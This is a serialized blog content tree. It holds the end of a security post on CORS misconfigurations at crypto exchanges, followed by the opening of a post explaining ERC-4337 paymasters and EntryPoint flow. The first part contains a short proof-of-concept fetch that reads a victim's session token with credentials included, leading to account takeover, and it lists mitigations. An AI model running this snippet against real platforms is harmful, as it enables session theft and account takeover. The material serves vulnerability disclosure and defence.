res.json());\n})();\n",[99320],{"type":19,"tag":27,"props":99321,"children":99322},{"__ignoreMap":7},[99323,99346,99383,99400,99417,99424,99465],{"type":19,"tag":168,"props":99324,"children":99325},{"class":170,"line":171},[99326,99330,99334,99338,99342],{"type":19,"tag":168,"props":99327,"children":99328},{"style":212},[99329],{"type":24,"value":500},{"type":19,"tag":168,"props":99331,"children":99332},{"style":382},[99333],{"type":24,"value":33620},{"type":19,"tag":168,"props":99335,"children":99336},{"style":212},[99337],{"type":24,"value":37172},{"type":19,"tag":168,"props":99339,"children":99340},{"style":382},[99341],{"type":24,"value":12268},{"type":19,"tag":168,"props":99343,"children":99344},{"style":212},[99345],{"type":24,"value":691},{"type":19,"tag":168,"props":99347,"children":99348},{"class":170,"line":198},[99349,99353,99358,99362,99366,99370,99374,99379],{"type":19,"tag":168,"props":99350,"children":99351},{"style":382},[99352],{"type":24,"value":5292},{"type":19,"tag":168,"props":99354,"children":99355},{"style":393},[99356],{"type":24,"value":99357}," res",{"type":19,"tag":168,"props":99359,"children":99360},{"style":399},[99361],{"type":24,"value":402},{"type":19,"tag":168,"props":99363,"children":99364},{"style":419},[99365],{"type":24,"value":33686},{"type":19,"tag":168,"props":99367,"children":99368},{"style":175},[99369],{"type":24,"value":30402},{"type":19,"tag":168,"props":99371,"children":99372},{"style":212},[99373],{"type":24,"value":500},{"type":19,"tag":168,"props":99375,"children":99376},{"style":181},[99377],{"type":24,"value":99378},"'https://www.exchange.com/api/session_token'",{"type":19,"tag":168,"props":99380,"children":99381},{"style":212},[99382],{"type":24,"value":46364},{"type":19,"tag":168,"props":99384,"children":99385},{"class":170,"line":415},[99386,99391,99396],{"type":19,"tag":168,"props":99387,"children":99388},{"style":393},[99389],{"type":24,"value":99390}," credentials:",{"type":19,"tag":168,"props":99392,"children":99393},{"style":181},[99394],{"type":24,"value":99395}," 'include'",{"type":19,"tag":168,"props":99397,"children":99398},{"style":212},[99399],{"type":24,"value":915},{"type":19,"tag":168,"props":99401,"children":99402},{"class":170,"line":450},[99403,99408,99413],{"type":19,"tag":168,"props":99404,"children":99405},{"style":393},[99406],{"type":24,"value":99407}," method:",{"type":19,"tag":168,"props":99409,"children":99410},{"style":181},[99411],{"type":24,"value":99412}," 'POST'",{"type":19,"tag":168,"props":99414,"children":99415},{"style":212},[99416],{"type":24,"value":915},{"type":19,"tag":168,"props":99418,"children":99419},{"class":170,"line":560},[99420],{"type":19,"tag":168,"props":99421,"children":99422},{"style":212},[99423],{"type":24,"value":95681},{"type":19,"tag":168,"props":99425,"children":99426},{"class":170,"line":666},[99427,99432,99436,99441,99445,99449,99453,99457,99461],{"type":19,"tag":168,"props":99428,"children":99429},{"style":393},[99430],{"type":24,"value":99431}," console",{"type":19,"tag":168,"props":99433,"children":99434},{"style":212},[99435],{"type":24,"value":948},{"type":19,"tag":168,"props":99437,"children":99438},{"style":175},[99439],{"type":24,"value":99440},"log",{"type":19,"tag":168,"props":99442,"children":99443},{"style":212},[99444],{"type":24,"value":500},{"type":19,"tag":168,"props":99446,"children":99447},{"style":419},[99448],{"type":24,"value":30389},{"type":19,"tag":168,"props":99450,"children":99451},{"style":393},[99452],{"type":24,"value":99357},{"type":19,"tag":168,"props":99454,"children":99455},{"style":212},[99456],{"type":24,"value":948},{"type":19,"tag":168,"props":99458,"children":99459},{"style":175},[99460],{"type":24,"value":31471},{"type":19,"tag":168,"props":99462,"children":99463},{"style":212},[99464],{"type":24,"value":12872},{"type":19,"tag":168,"props":99466,"children":99467},{"class":170,"line":694},[99468],{"type":19,"tag":168,"props":99469,"children":99470},{"style":212},[99471],{"type":24,"value":99472},"})();\n",{"type":19,"tag":20,"props":99474,"children":99475},{},[99476],{"type":24,"value":99477},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":19,"tag":7050,"props":99479,"children":99480},{"id":37809},[99481],{"type":24,"value":37812},{"type":19,"tag":20,"props":99483,"children":99484},{},[99485,99487,99492],{"type":24,"value":99486},"As mitigation, it is recommended to remove all ",{"type":19,"tag":27,"props":99488,"children":99490},{"className":99489},[],[99491],{"type":24,"value":99164},{"type":24,"value":99493}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":19,"tag":20,"props":99495,"children":99496},{},[99497],{"type":24,"value":99498},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":19,"tag":36,"props":99500,"children":99501},{"id":26402},[99502],{"type":24,"value":16400},{"type":19,"tag":20,"props":99504,"children":99505},{},[99506],{"type":24,"value":99507},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":19,"tag":20,"props":99509,"children":99510},{},[99511],{"type":24,"value":99512},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":19,"tag":232,"props":99514,"children":99515},{},[99516],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":99518},[99519,99524,99529],{"id":97203,"depth":198,"text":97206,"children":99520},[99521,99522,99523],{"id":97214,"depth":415,"text":97217},{"id":97571,"depth":415,"text":97574},{"id":99134,"depth":415,"text":99137},{"id":99145,"depth":198,"text":99148,"children":99525},[99526,99527,99528],{"id":99209,"depth":415,"text":99212},{"id":99266,"depth":415,"text":97598},{"id":37809,"depth":415,"text":37812},{"id":26402,"depth":198,"text":16400},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":99534,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99535,"description":99536,"date":99537,"author":99538,"image":99539,"isFeatured":14,"onBlogPage":14,"tags":99541,"body":99544,"_type":242,"_id":105316,"_source":244,"_file":105317,"_stem":105318,"_extension":247},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":99540,"width":94756,"height":11069},"/posts/paymasters-evm/title.png",[99542,99543],"evm","ERC-4337",{"type":16,"children":99545,"toc":105295},[99546,99550,99561,99566,99571,99576,99582,99588,99593,99598,99604,99609,99637,99643,99648,99655,99660,99670,99675,99701,99707,99727,99733,99753,99761,99792,99825,99834,99846,99871,99883,99896,99939,99945,99978,100077,100096,100119,100124,100130,100158,100305,100310,100337,100343,100355,100367,100376,100411,100416,101901,101929,101950,101955,101967,101976,101981,101999,102022,102027,102033,102087,102093,102126,102161,102985,103021,103057,103123,103156,103654,103707,103719,104283,104352,104379,105001,105043,105070,105082,105143,105162,105196,105201,105206,105211,105215,105220,105255,105281,105286,105291],{"type":19,"tag":32847,"props":99547,"children":99548},{"id":26485},[99549],{"type":24,"value":26488},{"type":19,"tag":20,"props":99551,"children":99552},{},[99553,99559],{"type":19,"tag":269,"props":99554,"children":99557},{"href":99555,"rel":99556},"https://docs.erc4337.io/",[273],[99558],{"type":24,"value":99543},{"type":24,"value":99560}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":19,"tag":20,"props":99562,"children":99563},{},[99564],{"type":24,"value":99565},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":19,"tag":20,"props":99567,"children":99568},{},[99569],{"type":24,"value":99570},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":19,"tag":20,"props":99572,"children":99573},{},[99574],{"type":24,"value":99575},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":19,"tag":32847,"props":99577,"children":99579},{"id":99578},"erc4337-overview",[99580],{"type":24,"value":99581},"ERC4337 Overview",{"type":19,"tag":36,"props":99583,"children":99585},{"id":99584},"traditional-eoas-vs-smart-contract-wallets",[99586],{"type":24,"value":99587},"Traditional EOAs vs Smart Contract Wallets",{"type":19,"tag":20,"props":99589,"children":99590},{},[99591],{"type":24,"value":99592},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":19,"tag":20,"props":99594,"children":99595},{},[99596],{"type":24,"value":99597},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":19,"tag":36,"props":99599,"children":99601},{"id":99600},"why-erc4337-was-introduced",[99602],{"type":24,"value":99603},"Why ERC‑4337 Was Introduced",{"type":19,"tag":20,"props":99605,"children":99606},{},[99607],{"type":24,"value":99608},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":19,"tag":43,"props":99610,"children":99611},{},[99612,99617,99622,99627,99632],{"type":19,"tag":47,"props":99613,"children":99614},{},[99615],{"type":24,"value":99616},"User recovery for lost keys (e.g. social recovery)",{"type":19,"tag":47,"props":99618,"children":99619},{},[99620],{"type":24,"value":99621},"Batched or atomic multi-step operations in one flow",{"type":19,"tag":47,"props":99623,"children":99624},{},[99625],{"type":24,"value":99626},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":19,"tag":47,"props":99628,"children":99629},{},[99630],{"type":24,"value":99631},"Using custom signature schemes or multisig logic",{"type":19,"tag":47,"props":99633,"children":99634},{},[99635],{"type":24,"value":99636},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":19,"tag":36,"props":99638,"children":99640},{"id":99639},"how-erc-4337-works",[99641],{"type":24,"value":99642},"How ERC-4337 Works",{"type":19,"tag":20,"props":99644,"children":99645},{},[99646],{"type":24,"value":99647},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":19,"tag":20,"props":99649,"children":99650},{},[99651],{"type":19,"tag":1344,"props":99652,"children":99654},{"alt":48061,"src":99653},"/posts/paymasters-evm/flowchart.png",[],{"type":19,"tag":20,"props":99656,"children":99657},{},[99658],{"type":24,"value":99659},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":19,"tag":7050,"props":99661,"children":99663},{"id":99662},"useroperation",[99664],{"type":19,"tag":27,"props":99665,"children":99667},{"className":99666},[],[99668],{"type":24,"value":99669},"UserOperation",{"type":19,"tag":20,"props":99671,"children":99672},{},[99673],{"type":24,"value":99674},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":19,"tag":43,"props":99676,"children":99677},{},[99678,99683,99688],{"type":19,"tag":47,"props":99679,"children":99680},{},[99681],{"type":24,"value":99682},"Target contract call(s)",{"type":19,"tag":47,"props":99684,"children":99685},{},[99686],{"type":24,"value":99687},"Signature or validation metadata",{"type":19,"tag":47,"props":99689,"children":99690},{},[99691,99693,99699],{"type":24,"value":99692},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":19,"tag":27,"props":99694,"children":99696},{"className":99695},[],[99697],{"type":24,"value":99698},"UserOperations",{"type":24,"value":99700}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":19,"tag":7050,"props":99702,"children":99704},{"id":99703},"smart-contract-account",[99705],{"type":24,"value":99706},"Smart Contract Account",{"type":19,"tag":20,"props":99708,"children":99709},{},[99710,99712,99718,99719,99725],{"type":24,"value":99711},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":19,"tag":27,"props":99713,"children":99715},{"className":99714},[],[99716],{"type":24,"value":99717},"validateUserOp()",{"type":24,"value":8436},{"type":19,"tag":27,"props":99720,"children":99722},{"className":99721},[],[99723],{"type":24,"value":99724},"executeUserOp()",{"type":24,"value":99726},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":19,"tag":7050,"props":99728,"children":99730},{"id":99729},"bundler",[99731],{"type":24,"value":99732},"Bundler",{"type":19,"tag":20,"props":99734,"children":99735},{},[99736,99738,99743,99745,99751],{"type":24,"value":99737},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":19,"tag":27,"props":99739,"children":99741},{"className":99740},[],[99742],{"type":24,"value":99698},{"type":24,"value":99744},", packages them, and submits them in a single transaction to the ",{"type":19,"tag":27,"props":99746,"children":99748},{"className":99747},[],[99749],{"type":24,"value":99750},"EntryPoint",{"type":24,"value":99752}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":19,"tag":7050,"props":99754,"children":99755},{"id":12169},[99756],{"type":19,"tag":27,"props":99757,"children":99759},{"className":99758},[],[99760],{"type":24,"value":99750},{"type":19,"tag":20,"props":99762,"children":99763},{},[99764,99765,99770,99772,99777,99779,99783,99785,99790],{"type":24,"value":14062},{"type":19,"tag":27,"props":99766,"children":99768},{"className":99767},[],[99769],{"type":24,"value":99750},{"type":24,"value":99771}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":19,"tag":27,"props":99773,"children":99775},{"className":99774},[],[99776],{"type":24,"value":99698},{"type":24,"value":99778}," submitted by a ",{"type":19,"tag":51,"props":99780,"children":99781},{},[99782],{"type":24,"value":99732},{"type":24,"value":99784},", the ",{"type":19,"tag":27,"props":99786,"children":99788},{"className":99787},[],[99789],{"type":24,"value":99750},{"type":24,"value":99791}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":19,"tag":20,"props":99793,"children":99794},{},[99795,99797,99802,99804,99808,99810,99815,99817,99823],{"type":24,"value":99796},"Once all operations have been processed, the ",{"type":19,"tag":27,"props":99798,"children":99800},{"className":99799},[],[99801],{"type":24,"value":99750},{"type":24,"value":99803}," calculates the total gas consumed and reimburses the ",{"type":19,"tag":51,"props":99805,"children":99806},{},[99807],{"type":24,"value":99732},{"type":24,"value":99809},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":19,"tag":27,"props":99811,"children":99813},{"className":99812},[],[99814],{"type":24,"value":99750},{"type":24,"value":99816}," or from a ",{"type":19,"tag":27,"props":99818,"children":99820},{"className":99819},[],[99821],{"type":24,"value":99822},"paymaster",{"type":24,"value":99824}," that has agreed to sponsor the transaction.",{"type":19,"tag":7050,"props":99826,"children":99827},{"id":99822},[99828],{"type":19,"tag":27,"props":99829,"children":99831},{"className":99830},[],[99832],{"type":24,"value":99833},"Paymaster",{"type":19,"tag":20,"props":99835,"children":99836},{},[99837,99839,99844],{"type":24,"value":99838},"A ",{"type":19,"tag":27,"props":99840,"children":99842},{"className":99841},[],[99843],{"type":24,"value":99822},{"type":24,"value":99845}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":19,"tag":43,"props":99847,"children":99848},{},[99849,99860],{"type":19,"tag":47,"props":99850,"children":99851},{},[99852,99858],{"type":19,"tag":27,"props":99853,"children":99855},{"className":99854},[],[99856],{"type":24,"value":99857},"validatePaymasterUserOp()",{"type":24,"value":99859}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":19,"tag":47,"props":99861,"children":99862},{},[99863,99869],{"type":19,"tag":27,"props":99864,"children":99866},{"className":99865},[],[99867],{"type":24,"value":99868},"postOp()",{"type":24,"value":99870},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":19,"tag":20,"props":99872,"children":99873},{},[99874,99876,99881],{"type":24,"value":99875},"By supporting both sponsorship and token-based gas payments, ",{"type":19,"tag":27,"props":99877,"children":99879},{"className":99878},[],[99880],{"type":24,"value":99822},{"type":24,"value":99882}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":19,"tag":36,"props":99884,"children":99886},{"id":99885},"understanding-the-entrypoints-flow",[99887,99889,99894],{"type":24,"value":99888},"Understanding the ",{"type":19,"tag":27,"props":99890,"children":99892},{"className":99891},[],[99893],{"type":24,"value":99750},{"type":24,"value":99895},"'s Flow",{"type":19,"tag":20,"props":99897,"children":99898},{},[99899,99901,99906,99907,99912,99914,99925,99927,99932,99933,99938],{"type":24,"value":99900},"When a bundler submits ",{"type":19,"tag":27,"props":99902,"children":99904},{"className":99903},[],[99905],{"type":24,"value":99698},{"type":24,"value":13860},{"type":19,"tag":27,"props":99908,"children":99910},{"className":99909},[],[99911],{"type":24,"value":99750},{"type":24,"value":99913}," contract via ",{"type":19,"tag":269,"props":99915,"children":99918},{"href":99916,"rel":99917},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[273],[99919],{"type":19,"tag":27,"props":99920,"children":99922},{"className":99921},[],[99923],{"type":24,"value":99924},"handleOps()",{"type":24,"value":99926},", the processing occurs in two main phases: ",{"type":19,"tag":51,"props":99928,"children":99929},{},[99930],{"type":24,"value":99931},"Validation",{"type":24,"value":8436},{"type":19,"tag":51,"props":99934,"children":99935},{},[99936],{"type":24,"value":99937},"Execution",{"type":24,"value":948},{"type":19,"tag":7050,"props":99940,"children":99942},{"id":99941},"validation-phase",[99943],{"type":24,"value":99944},"Validation Phase",{"type":19,"tag":20,"props":99946,"children":99947},{},[99948,99950,99955,99957,99963,99965,99971,99972,99977],{"type":24,"value":99949},"In this phase, the ",{"type":19,"tag":27,"props":99951,"children":99953},{"className":99952},[],[99954],{"type":24,"value":99750},{"type":24,"value":99956}," first validates all operations in the submitted ",{"type":19,"tag":27,"props":99958,"children":99960},{"className":99959},[],[99961],{"type":24,"value":99962},"UserOps",{"type":24,"value":99964}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":19,"tag":27,"props":99966,"children":99968},{"className":99967},[],[99969],{"type":24,"value":99970},"UserOp",{"type":24,"value":99784},{"type":19,"tag":27,"props":99973,"children":99975},{"className":99974},[],[99976],{"type":24,"value":99750},{"type":24,"value":1922},{"type":19,"tag":2869,"props":99979,"children":99980},{},[99981,99999,100017,100038,100050],{"type":19,"tag":47,"props":99982,"children":99983},{},[99984,99991,99993],{"type":19,"tag":269,"props":99985,"children":99988},{"href":99986,"rel":99987},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[273],[99989],{"type":24,"value":99990},"Calculates",{"type":24,"value":99992}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":19,"tag":27,"props":99994,"children":99996},{"className":99995},[],[99997],{"type":24,"value":99998},"maxFeePerGas",{"type":19,"tag":47,"props":100000,"children":100001},{},[100002,100009,100010,100015],{"type":19,"tag":269,"props":100003,"children":100006},{"href":100004,"rel":100005},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[273],[100007],{"type":24,"value":100008},"Calls",{"type":24,"value":3893},{"type":19,"tag":27,"props":100011,"children":100013},{"className":100012},[],[100014],{"type":24,"value":99717},{"type":24,"value":100016}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":19,"tag":47,"props":100018,"children":100019},{},[100020,100022,100029,100031,100036],{"type":24,"value":100021},"If no paymaster is specified, attempts to ",{"type":19,"tag":269,"props":100023,"children":100026},{"href":100024,"rel":100025},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[273],[100027],{"type":24,"value":100028},"deduct",{"type":24,"value":100030}," the prefund amount from the sender's ETH deposit in the ",{"type":19,"tag":27,"props":100032,"children":100034},{"className":100033},[],[100035],{"type":24,"value":99750},{"type":24,"value":100037}," (this can be partially refunded later if actual execution costs less)",{"type":19,"tag":47,"props":100039,"children":100040},{},[100041,100048],{"type":19,"tag":269,"props":100042,"children":100045},{"href":100043,"rel":100044},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[273],[100046],{"type":24,"value":100047},"Validates",{"type":24,"value":100049}," the nonce to prevent replay attacks",{"type":19,"tag":47,"props":100051,"children":100052},{},[100053,100055,100061,100063,100069,100070,100075],{"type":24,"value":100054},"If a paymaster is specified, it will ",{"type":19,"tag":269,"props":100056,"children":100059},{"href":100057,"rel":100058},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[273],[100060],{"type":24,"value":100028},{"type":24,"value":100062}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":19,"tag":269,"props":100064,"children":100067},{"href":100065,"rel":100066},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[273],[100068],{"type":24,"value":35771},{"type":24,"value":3893},{"type":19,"tag":27,"props":100071,"children":100073},{"className":100072},[],[100074],{"type":24,"value":99857},{"type":24,"value":100076}," on the paymaster contract to verify it will cover gas costs",{"type":19,"tag":20,"props":100078,"children":100079},{},[100080,100082,100087,100089,100094],{"type":24,"value":100081},"Only after all these validation checks pass will the ",{"type":19,"tag":27,"props":100083,"children":100085},{"className":100084},[],[100086],{"type":24,"value":99750},{"type":24,"value":100088}," move on to actually executing the ",{"type":19,"tag":27,"props":100090,"children":100092},{"className":100091},[],[100093],{"type":24,"value":99669},{"type":24,"value":100095},". This strict validation flow ensures that:",{"type":19,"tag":43,"props":100097,"children":100098},{},[100099,100104,100109,100114],{"type":19,"tag":47,"props":100100,"children":100101},{},[100102],{"type":24,"value":100103},"The operation is legitimate and authorized by the user",{"type":19,"tag":47,"props":100105,"children":100106},{},[100107],{"type":24,"value":100108},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":19,"tag":47,"props":100110,"children":100111},{},[100112],{"type":24,"value":100113},"The operation cannot be replayed",{"type":19,"tag":47,"props":100115,"children":100116},{},[100117],{"type":24,"value":100118},"All involved contracts (sender and paymaster) have approved the execution",{"type":19,"tag":20,"props":100120,"children":100121},{},[100122],{"type":24,"value":100123},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":19,"tag":7050,"props":100125,"children":100127},{"id":100126},"execution-phase",[100128],{"type":24,"value":100129},"Execution Phase",{"type":19,"tag":20,"props":100131,"children":100132},{},[100133,100135,100140,100142,100149,100151,100156],{"type":24,"value":100134},"After all operations have passed validation, the ",{"type":19,"tag":27,"props":100136,"children":100138},{"className":100137},[],[100139],{"type":24,"value":99750},{"type":24,"value":100141}," begins the ",{"type":19,"tag":269,"props":100143,"children":100146},{"href":100144,"rel":100145},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[273],[100147],{"type":24,"value":100148},"execution",{"type":24,"value":100150}," phase, processing each ",{"type":19,"tag":27,"props":100152,"children":100154},{"className":100153},[],[100155],{"type":24,"value":99669},{"type":24,"value":100157}," individually. For each operation, the flow is:",{"type":19,"tag":2869,"props":100159,"children":100160},{},[100161,100221,100267],{"type":19,"tag":47,"props":100162,"children":100163},{},[100164,100165,100170,100172,100178,100179,100185,100187],{"type":24,"value":14062},{"type":19,"tag":27,"props":100166,"children":100168},{"className":100167},[],[100169],{"type":24,"value":99750},{"type":24,"value":100171}," makes a ",{"type":19,"tag":269,"props":100173,"children":100176},{"href":100174,"rel":100175},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[273],[100177],{"type":24,"value":35771},{"type":24,"value":54260},{"type":19,"tag":27,"props":100180,"children":100182},{"className":100181},[],[100183],{"type":24,"value":100184},"innerHandleOp()",{"type":24,"value":100186},", which:\n",{"type":19,"tag":43,"props":100188,"children":100189},{},[100190,100202,100207],{"type":19,"tag":47,"props":100191,"children":100192},{},[100193,100200],{"type":19,"tag":269,"props":100194,"children":100197},{"href":100195,"rel":100196},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[273],[100198],{"type":24,"value":100199},"Forwards",{"type":24,"value":100201}," the operation to the sender's smart account contract",{"type":19,"tag":47,"props":100203,"children":100204},{},[100205],{"type":24,"value":100206},"Executes the intended transaction(s) within the smart account",{"type":19,"tag":47,"props":100208,"children":100209},{},[100210,100212,100219],{"type":24,"value":100211},"Handles ",{"type":19,"tag":269,"props":100213,"children":100216},{"href":100214,"rel":100215},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[273],[100217],{"type":24,"value":100218},"post-execution",{"type":24,"value":100220}," tasks and cleanup",{"type":19,"tag":47,"props":100222,"children":100223},{},[100224,100226,100232,100234,100240,100241,100247,100249],{"type":24,"value":100225},"If a paymaster was used, ",{"type":19,"tag":27,"props":100227,"children":100229},{"className":100228},[],[100230],{"type":24,"value":100231},"Entrypoint",{"type":24,"value":100233}," will ",{"type":19,"tag":269,"props":100235,"children":100238},{"href":100236,"rel":100237},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[273],[100239],{"type":24,"value":35771},{"type":24,"value":3893},{"type":19,"tag":27,"props":100242,"children":100244},{"className":100243},[],[100245],{"type":24,"value":100246},"paymaster.postOp()",{"type":24,"value":100248}," to:\n",{"type":19,"tag":43,"props":100250,"children":100251},{},[100252,100257,100262],{"type":19,"tag":47,"props":100253,"children":100254},{},[100255],{"type":24,"value":100256},"Allow paymaster to finalize its accounting",{"type":19,"tag":47,"props":100258,"children":100259},{},[100260],{"type":24,"value":100261},"Process any refunds or additional charges",{"type":19,"tag":47,"props":100263,"children":100264},{},[100265],{"type":24,"value":100266},"Complete any paymaster-specific logic",{"type":19,"tag":47,"props":100268,"children":100269},{},[100270,100272,100277,100278,100285,100287],{"type":24,"value":100271},"Finally, after all operations are processed, the ",{"type":19,"tag":27,"props":100273,"children":100275},{"className":100274},[],[100276],{"type":24,"value":99750},{"type":24,"value":3893},{"type":19,"tag":269,"props":100279,"children":100282},{"href":100280,"rel":100281},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[273],[100283],{"type":24,"value":100284},"compensates",{"type":24,"value":100286}," the bundler for:\n",{"type":19,"tag":43,"props":100288,"children":100289},{},[100290,100295,100300],{"type":19,"tag":47,"props":100291,"children":100292},{},[100293],{"type":24,"value":100294},"Gas costs from executing all operations",{"type":19,"tag":47,"props":100296,"children":100297},{},[100298],{"type":24,"value":100299},"Overhead from submitting the batch transaction",{"type":19,"tag":47,"props":100301,"children":100302},{},[100303],{"type":24,"value":100304},"Any unused gas, which is refunded",{"type":19,"tag":20,"props":100306,"children":100307},{},[100308],{"type":24,"value":100309},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":19,"tag":20,"props":100311,"children":100312},{},[100313,100315,100320,100322,100328,100330,100335],{"type":24,"value":100314},"Now that we understand how the ",{"type":19,"tag":27,"props":100316,"children":100318},{"className":100317},[],[100319],{"type":24,"value":99750},{"type":24,"value":100321}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":19,"tag":27,"props":100323,"children":100325},{"className":100324},[],[100326],{"type":24,"value":100327},"paymasters",{"type":24,"value":100329}," that align with the ",{"type":19,"tag":27,"props":100331,"children":100333},{"className":100332},[],[100334],{"type":24,"value":99750},{"type":24,"value":100336},"'s execution model, leading to potential vulnerabilities.",{"type":19,"tag":32847,"props":100338,"children":100340},{"id":100339},"common-pitfalls-in-paymaster-implementation",[100341],{"type":24,"value":100342},"Common Pitfalls in Paymaster Implementation",{"type":19,"tag":20,"props":100344,"children":100345},{},[100346,100348,100353],{"type":24,"value":100347},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":19,"tag":27,"props":100349,"children":100351},{"className":100350},[],[100352],{"type":24,"value":99750},{"type":24,"value":100354}," to exploitation or griefing.",{"type":19,"tag":20,"props":100356,"children":100357},{},[100358,100360,100365],{"type":24,"value":100359},"In this section, we’ll walk through the ",{"type":19,"tag":51,"props":100361,"children":100362},{},[100363],{"type":24,"value":100364},"two most common pitfalls",{"type":24,"value":100366}," we’ve observed in real-world paymaster implementations:",{"type":19,"tag":36,"props":100368,"children":100370},{"id":100369},"undercalculated-gas-costs",[100371],{"type":19,"tag":51,"props":100372,"children":100373},{},[100374],{"type":24,"value":100375},"Undercalculated Gas Costs",{"type":19,"tag":20,"props":100377,"children":100378},{},[100379,100381,100386,100388,100393,100395,100400,100402,100409],{"type":24,"value":100380},"To understand this issue, let's first examine how gas penalties work in the ",{"type":19,"tag":27,"props":100382,"children":100384},{"className":100383},[],[100385],{"type":24,"value":99750},{"type":24,"value":100387},". 